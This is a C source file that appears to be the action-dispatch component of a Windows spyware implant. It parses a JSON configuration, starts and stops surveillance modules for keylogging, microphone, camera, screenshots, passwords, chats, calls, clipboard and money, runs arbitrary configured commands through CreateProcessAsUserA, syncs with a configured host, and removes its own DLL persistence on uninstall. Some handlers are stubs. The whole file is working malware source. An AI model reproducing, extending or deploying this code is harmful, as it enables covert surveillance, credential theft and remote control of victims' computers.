#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "compat.h"
#include "utils.h"
#include "modulemanager.h"
#include "actionmanager.h"

#include "..\Persistence\Persistence.h"

static thread_func_ret_t THREAD_FUNC_TYPE run(PTHREAD_ARGUMENT args);

static int action_event(PRUNTIME pRuntime, action_event_t *a);
static int action_module(PRUNTIME pRuntime, action_module_t *a);
static int action_uninstall(PRUNTIME pRuntime, action_uninstall_t *a);
static int action_execute(PRUNTIME pRuntime, action_execute_t *a);
static int action_log(PRUNTIME pRuntime, action_log_t *a);
static int action_synchronize(PRUNTIME pRuntime, action_synchronize_t *a);
static int action_destroy(PRUNTIME pRuntime, action_destroy_t *a);

static int actiongroupc = 0;
static actiongroup_t *actiongroupv = NULL;
static mutex_t mutex;

static int qstatus[2];

void am_init(PRUNTIME pRuntime)
{
	MUTEX_INIT(mutex);

	ACTION_EVENT_INIT(action_event);
	ACTION_MODULE_INIT(action_module);
	ACTION_UNINSTALL_INIT(action_uninstall);
	ACTION_EXECUTE_INIT(action_execute);
	ACTION_LOG_INIT(action_log);
	ACTION_SYNCHRONIZE_INIT(action_synchronize);
	ACTION_DESTROY_INIT(action_destroy);

	OUTPUTDEBUG("[AM] initialized\n");

	return;
}

void am_parseconfig(PRUNTIME pRuntime, json_object *config)
{
	int i, j;
	json_object *actiongroups, *actions, *action;
	char *type, *v;
	actiongroup_t *ag;
	action_t *a;

	MUTEX_LOCK(mutex);

	for (i = 0; i < actiongroupc; i++) {
		for (j = 0; j < actiongroupv[i].actionc; j++) 
			if (actiongroupv[i].actionv[j].param) 
				API_FREE(pRuntime, actiongroupv[i].actionv[j].param);

		if (actiongroupv[i].actionv) 
			API_FREE(pRuntime, actiongroupv[i].actionv);
	}

	if (actiongroupv) 
	{ 
		API_FREE(pRuntime, actiongroupv);
		actiongroupv = NULL; 
	}

	if ((actiongroupc = json_get_array(config, "actions", &actiongroups)) >= 0) 
		actiongroupv = API_CALLOC(pRuntime, actiongroupc, sizeof(actiongroup_t));

	OUTPUTDEBUG("[AM] parsing %d action groups\n", actiongroupc);

	for (i = 0; i < actiongroupc; i++) {
		fp_json_object_object_get_ex(fp_json_object_array_get_idx(actiongroups, i), "subactions", &actions);
		ag = &actiongroupv[i];
		ag->queue = QUEUE_FAST;
		ag->sched = 0;
		ag->actionc = fp_json_object_array_length(actions);
		if (ag->actionc) ag->actionv = API_CALLOC(pRuntime, ag->actionc, sizeof(action_t));

		for (j = 0; j < ag->actionc; j++) {
			action = fp_json_object_array_get_idx(actions, j);
			a = &ag->actionv[j];

			a->type = ACTION_NONE;
			if (json_get_string(action, "action", &type)) continue;

			if (!API_STRCMP(type, "uninstall")) {
				a->param = NULL;
				a->type = ACTION_UNINSTALL;
				ag->queue = QUEUE_SLOW;
				OUTPUTDEBUG("[AM] . action #%d.%d: uninstall\n", i, j);
			}
			else if (!API_STRCMP(type, "execute")) {
				if (!(a->param = API_ALLOC(pRuntime, sizeof(action_execute_t)))) continue;
				if (json_get_string(action, "command", &v)) continue;
				if (snprintf(ACTION_EXECUTE_P(a)->command, sizeof(ACTION_EXECUTE_P(a)->command), "%s", v) < 0) continue;
				a->type = ACTION_EXECUTE;
				ag->queue = QUEUE_SLOW;
				OUTPUTDEBUG("[AM] . action #%d.%d: execute\n", i, j);
			}
			else if (!API_STRCMP(type, "log")) {
				if (!(a->param = API_ALLOC(pRuntime, sizeof(action_log_t)))) continue;
				if (json_get_string(action, "text", &v)) continue;
				if (snprintf(ACTION_LOG_P(a)->text, sizeof(ACTION_LOG_P(a)->text), "%s", v) < 0) continue;
				a->type = ACTION_LOG;
				OUTPUTDEBUG("[AM] . action #%d.%d: log\n", i, j);
			}
			else if (!API_STRCMP(type, "synchronize")) {
				if (!(a->param = API_ALLOC(pRuntime, sizeof(action_synchronize_t)))) continue;
				if (json_get_string(action, "host", &v)) continue;
				if (snprintf(ACTION_SYNCHRONIZE_P(a)->host, sizeof(ACTION_SYNCHRONIZE_P(a)->host), "%s", v) < 0) continue;
				if (json_get_int32(action, "bandwidth", &ACTION_SYNCHRONIZE_P(a)->bandwidth)) continue;
				if (json_get_int32(action, "mindelay", &ACTION_SYNCHRONIZE_P(a)->mindelay)) continue;
				if (json_get_int32(action, "maxdelay", &ACTION_SYNCHRONIZE_P(a)->maxdelay)) continue;
				if (json_get_boolean(action, "stop", &ACTION_SYNCHRONIZE_P(a)->stop)) continue;
				a->type = ACTION_SYNCHRONIZE;
				ag->queue = QUEUE_SLOW;
				OUTPUTDEBUG("[AM] . action #%d.%d: synchronize\n", i, j);
			}
			else if (!API_STRCMP(type, "destroy")) {
				if (!(a->param = API_ALLOC(pRuntime, sizeof(action_destroy_t)))) continue;
				if (json_get_boolean(action, "permanent", &ACTION_DESTROY_P(a)->permanent)) continue;
				a->type = ACTION_DESTROY;
				OUTPUTDEBUG("[AM] . action #%d.%d: destroy\n", i, j);
			}
			else if (!API_STRCMP(type, "event")) {
				if (!(a->param = API_ALLOC(pRuntime, sizeof(action_event_t)))) continue;
				if (json_get_int32(action, "event", &ACTION_EVENT_P(a)->event)) continue;
				if (json_get_string(action, "status", &v)) continue;
				ACTION_EVENT_P(a)->status = (API_STRCMP(v, "enable") ? 0 : 1);
				a->type = ACTION_EVENT;
				OUTPUTDEBUG("[AM] . action #%d.%d: event\n", i, j);
			}
			else if (!API_STRCMP(type, "module")) {
				if (!(a->param = API_ALLOC(pRuntime, sizeof(action_module_t)))) continue;
				if (json_get_string(action, "module", &v)) continue;

				if (!API_STRCMP(v, "device")) ACTION_MODULE_P(a)->module = MODULE_DEVICE_INDEX;
				else if (!API_STRCMP(v, "screenshot")) ACTION_MODULE_P(a)->module = MODULE_SCREENSHOT_INDEX;
				else if (!API_STRCMP(v, "application")) ACTION_MODULE_P(a)->module = MODULE_APPLICATION_INDEX;
				else if (!API_STRCMP(v, "position")) ACTION_MODULE_P(a)->module = MODULE_POSITION_INDEX;
				else if (!API_STRCMP(v, "camera")) ACTION_MODULE_P(a)->module = MODULE_CAMERA_INDEX;
				else if (!API_STRCMP(v, "mouse")) ACTION_MODULE_P(a)->module = MODULE_MOUSE_INDEX;
				else if (!API_STRCMP(v, "password")) ACTION_MODULE_P(a)->module = MODULE_PASSWORD_INDEX;
				else if (!API_STRCMP(v, "url")) ACTION_MODULE_P(a)->module = MODULE_URL_INDEX;
				else if (!API_STRCMP(v, "messages")) ACTION_MODULE_P(a)->module = MODULE_MESSAGES_INDEX;
				else if (!API_STRCMP(v, "addressbook")) ACTION_MODULE_P(a)->module = MODULE_ADDRESSBOOK_INDEX;
				else if (!API_STRCMP(v, "chat")) ACTION_MODULE_P(a)->module = MODULE_CHAT_INDEX;
				else if (!API_STRCMP(v, "call")) ACTION_MODULE_P(a)->module = MODULE_CALL_INDEX;
				else if (!API_STRCMP(v, "keylog")) ACTION_MODULE_P(a)->module = MODULE_KEYLOG_INDEX;
				else if (!API_STRCMP(v, "mic")) ACTION_MODULE_P(a)->module = MODULE_MIC_INDEX;
				else if (!API_STRCMP(v, "money")) ACTION_MODULE_P(a)->module = MODULE_MONEY_INDEX;
				else if (!API_STRCMP(v, "clipboard")) ACTION_MODULE_P(a)->module = MODULE_CLIPBOARD_INDEX;
				else continue;

				if (json_get_string(action, "status", &v)) continue;
				ACTION_MODULE_P(a)->status = (API_STRCMP(v, "start") ? 0 : 1);
				a->type = ACTION_MODULE;
				OUTPUTDEBUG("[AM] . action #%d.%d: module\n", i, j);
			}
			else {
				OUTPUTDEBUG("[AM] . action #%d.%d: unknown (%s)\n", i, j, type);
			}
		}
	}

	OUTPUTDEBUG("[AM] parsing completed\n");

	MUTEX_UNLOCK(mutex);

	return;
}

void am_createqueues(PRUNTIME pRuntime)
{
	thread_t thread;
	THREAD_ARGUMENT threadArgsFast;
	THREAD_ARGUMENT threadArgsSlow;

	threadArgsSlow.pRuntime = pRuntime;
	threadArgsSlow.data = (void *)((long)QUEUE_SLOW);

	threadArgsFast.pRuntime = pRuntime;
	threadArgsFast.data = (void *)((long)QUEUE_FAST);

	OUTPUTDEBUG("[AM] starting FAST queue\n");
	qstatus[QUEUE_FAST] = QSTATUS_STARTING;
	THREAD_CREATE(thread, run, (void*) &threadArgsFast);
	THREAD_DETACH(thread);

	OUTPUTDEBUG("[AM] starting SLOW queue\n");
	qstatus[QUEUE_SLOW] = QSTATUS_STARTING;
	THREAD_CREATE(thread, run, (void*) &threadArgsSlow);
	THREAD_DETACH(thread);

	while (qstatus[QUEUE_FAST] != QSTATUS_STARTED) sleep(1);
	OUTPUTDEBUG("[AM] FAST queue started\n");

	while (qstatus[QUEUE_SLOW] != QSTATUS_STARTED) sleep(1);
	OUTPUTDEBUG("[AM] SLOW queue started\n");

	return;
}

void am_queueaction(int actionid)
{
	if ((actionid >= 0) && (actionid < actiongroupc)) actiongroupv[actionid].sched = 1;

	return;
}

void am_startqueue(PRUNTIME pRuntime, int q)
{
	OUTPUTDEBUG("[AM] starting %s queue\n", (q == QUEUE_FAST) ? "FAST" : "SLOW");

	if (qstatus[q] == QSTATUS_STOPPED) 
		for (qstatus[q] = QSTATUS_STARTING; qstatus[q] != QSTATUS_STARTED;) 
			API_SLEEP(1);
	
	OUTPUTDEBUG("[AM] %s queue started\n", (q == QUEUE_FAST) ? "FAST" : "SLOW");

	return;
}

void am_stopqueue(PRUNTIME pRuntime, int q)
{
	OUTPUTDEBUG("[AM] stopping %s queue\n", (q == QUEUE_FAST) ? "FAST" : "SLOW");

	if (qstatus[q] == QSTATUS_STARTED) 
		for (qstatus[q] = QSTATUS_STOPPING; qstatus[q] != QSTATUS_STOPPED;) 
			API_SLEEP(1);
	
	OUTPUTDEBUG("[AM] %s queue stopped\n", (q == QUEUE_FAST) ? "FAST" : "SLOW");

	return;
}

static thread_func_ret_t THREAD_FUNC_TYPE run(PTHREAD_ARGUMENT args)
{
	PRUNTIME pRuntime = args->pRuntime;

	int i, j, ret;
	long queue = (long)args->data;
	action_t *s;

	while (1) {
		if (qstatus[queue] == QSTATUS_STOPPING) 
			for (qstatus[queue] = QSTATUS_STOPPED; qstatus[queue] != QSTATUS_STARTING;) 
				sleep(1);

		if (qstatus[queue] == QSTATUS_STARTING) 
			qstatus[queue] = QSTATUS_STARTED;

		for (i = 0, ret = 0; i < actiongroupc; i++) {
			if (qstatus[queue] == QSTATUS_STOPPING) break;

			if ((actiongroupv[i].queue != queue) || (!actiongroupv[i].sched)) continue;

			for (j = 0; j < actiongroupv[i].actionc; j++) {
				if (qstatus[queue] == QSTATUS_STOPPING) break;

				s = &actiongroupv[i].actionv[j];

				switch (s->type) {
				case ACTION_UNINSTALL:
					ret = am_uninstall(pRuntime, (action_uninstall_t *)s->param);
					break;
				case ACTION_EXECUTE:
					ret = am_execute(pRuntime, (action_execute_t *)s->param);
					break;
				case ACTION_LOG:
					ret = am_log(pRuntime, (action_log_t *)s->param);
					break;
				case ACTION_SYNCHRONIZE:
					ret = am_synchronize(pRuntime, (action_synchronize_t *)s->param);
					break;
				case ACTION_DESTROY:
					ret = am_destroy(pRuntime, (action_destroy_t *)s->param);
					break;
				case ACTION_EVENT:
					ret = am_event(pRuntime, (action_event_t *)s->param);
					break;
				case ACTION_MODULE:
					ret = am_module(pRuntime, (action_module_t *)s->param);
					break;
				}
				switch (ret) {
				case 3:
					//am_startqueue(QUEUE_FAST);
					//em_scheduleevents();
					break;
				case -2:
					//uninstall();
					break;
				}
				if (ret == 3) break;
			}
			if (ret == 3) break;

			actiongroupv[i].sched = 0;
		}

		sleep(1);
	}

	return (thread_func_ret_t)0;
}

static int action_event(PRUNTIME pRuntime, action_event_t *a)
{
	DebugBreak();
	return 0;
}

static int action_module(PRUNTIME pRuntime, action_module_t *a)
{
	OUTPUTDEBUG("[*] action module %d status %d\n", a->module, a->status);
	//DebugBreak();
	if (a->status == 1) {
		module_start(pRuntime, a->module);
	}
	else {
		module_stop(pRuntime, a->module);
	}

	return 0;
}

static int action_uninstall(PRUNTIME pRuntime, action_uninstall_t *a)
{
	OUTPUTDEBUG("[*] Action Uninstall\n");
	RemoveDllPersitence64(pRuntime);

	return 0;
}

static int action_execute(PRUNTIME pRuntime, action_execute_t *a)
{
	OUTPUTDEBUG("[*] Action Execute\n");

	HANDLE hToken = NULL;
	BOOL bSuccess = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
		


	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	SecureZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	SecureZeroMemory(&pi, sizeof(pi));

	bSuccess = CreateProcessAsUserA(
		hToken, 
		NULL,   // No module name (use command line)
		a->command,        // Command line
		NULL,           // Process handle not inheritable
		NULL,           // Thread handle not inheritable
		FALSE,          // Set handle inheritance to FALSE
		CREATE_NEW_CONSOLE,              // No creation flags
		NULL,           // Use parent's environment block
		NULL,           // Use parent's starting directory 
		&si,            // Pointer to STARTUPINFO structure
		&pi);           // Pointer to PROCESS_INFORMATION structure
		
	return 0;
}

static int action_log(PRUNTIME pRuntime, action_log_t *a)
{
	DebugBreak();
	return 0;
}

static int action_synchronize(PRUNTIME pRuntime, action_synchronize_t *a)
{
	//DebugBreak();
	OUTPUTDEBUG("[*] Action Synchronize\n");
	return 0;
}

static int action_destroy(PRUNTIME pRuntime, action_destroy_t *a)
{
	DebugBreak();
	return 0;
}
